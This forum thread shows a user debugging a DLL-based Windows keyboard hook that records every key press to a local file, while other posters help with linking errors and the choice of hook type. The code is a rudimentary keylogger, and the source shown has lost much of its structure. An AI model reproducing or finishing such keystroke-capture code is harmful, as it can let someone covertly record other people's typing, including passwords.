I've written a DLL with keyboard hook inside, how do I load the dll in my code and like activate it, the hook function inside dll writes keyboard presses to a file, I would like to activate it from my exe.

If you linked your program with the *.lib file that is generated when you created the dll then all you have to do is run your program. MS-Windows loader will auto-load the dll.

Ok, so how I can use the function from my dll, I linked with .lib now. Btw thanks for reply.

Just call it exactly like you would any other function. All the functions contained in the standard C and C++ libraries are contained in DLLs -- there is nothing any different about how to call the function in your dll.

If you used __export in the DLL then you will need to use __import in the function prototype in your program.

I did like this now

extern "C" __declspec(dllimport) BOOL WINAPI setMyHook(HWND hWnd);

Im trying to use the function after and getting linker error

j : error LNK2001: unresolved external symbol __imp__setMyHook@4

Here is the main code from DLL

#include "DLLMain.h"

#pragma data_seg(".SHAREDATA")
HWND hWndServer = NULL;
#pragma data_seg()
#pragma comment(linker, "/section:.SHAREDATA,rws")

HINSTANCE hInstance;
HHOOK hook;

static LRESULT CALLBACK KeyboardHook(int nCode, WPARAM wParam, LPARAM lParam);
__declspec(dllexport) BOOL WINAPI setMyHook(HWND hWnd);
__declspec(dllexport) BOOL clearMyHook(HWND hWnd);
ofstream out("keys.txt", ios::out);

BOOL DLLMain(HINSTANCE hInst, DWORD Reason, LPVOID reserved)


		hInstance = hInst;
		return TRUE;

		if(hWndServer != NULL)
		return TRUE;



__declspec(dllexport) BOOL WINAPI setMyHook(HWND hWnd)
	if(hWndServer != NULL)
		return FALSE;
	hook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)KeyboardHook, hInstance, 0);

	if (hook != NULL)
		hWndServer = hWnd;
		return TRUE;

	return FALSE;

__declspec(dllexport) BOOL clearMyHook(HWND hWnd)

	if(hWnd != hWndServer)
		return FALSE;
	BOOL unhooked = UnhookWindowsHookEx(hook);
		hWndServer = NULL;
	return unhooked;

static LRESULT CALLBACK KeyboardHook(int nCode, WPARAM wParam, LPARAM lParam) {

	// If key is being pressed

	if (wParam == WM_KEYDOWN) {
	switch (p->vkCode) {


		// Invisible keys

		case VK_CAPITAL: out << "<CAPLOCK>"; break;

		case VK_SHIFT: out << "<SHIFT>"; break;

		case VK_LCONTROL: out << "<LCTRL>"; break;

		case VK_RCONTROL: out << "<RCTRL>"; break;

		case VK_INSERT: out << "<INSERT>"; break;

		case VK_END: out << "<END>"; break;

		case VK_PRINT: out << "<PRINT>"; break;

		case VK_DELETE: out << "<DEL>"; break;

		case VK_BACK: out << "<BK>"; break;


		case VK_LEFT: out << "<LEFT>"; break;

		case VK_RIGHT: out << "<RIGHT>"; break;

		case VK_UP: out << "<UP>"; break;

		case VK_DOWN: out << "<DOWN>"; break;


		// Visible keys


		out << char(tolower(p->vkCode));



	return CallNextHookEx(NULL, nCode, wParam, lParam);

Is that dll file *.c or *.cpp file? If it's *.cpp then the function prototype in your program should not use extern "C" because that changes the function name.

commented: Nice help thanks! +1

I got it now, it works but for some reason it won't write to the file the keys pressed, here what I am doing at the main start

int main()

	HWND Handle = GetConsoleWindow();
	HINSTANCE hInstance = (HINSTANCE)GetWindowLong( Handle, GWL_HINSTANCE );

I fixed one thing now

SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardHook, hInstance, 0);

In DLL but it still won't write.

If I put messagebox after that setMyHook function it will work, but thats the reason I put it to DLL as I was told to.

I've been trying to test your program, but so far it hasn't worked for me either. If you are trying to use keyboard hook then the first parameter to SetWindowsHookEx() must be WH_KEYBOARD. Even with that change the hook function is not being called when a key is pressed.

Okay I will try to change it.. It should run on my program logging the keys that user presses.. It works if I put messagebox after it.
Edit it works only if its WM_KEYBOARD_LL referring to http://www.daniweb.com/code/snippet217096.html

Still won't work, I have no idea why it works if I put messagebox after it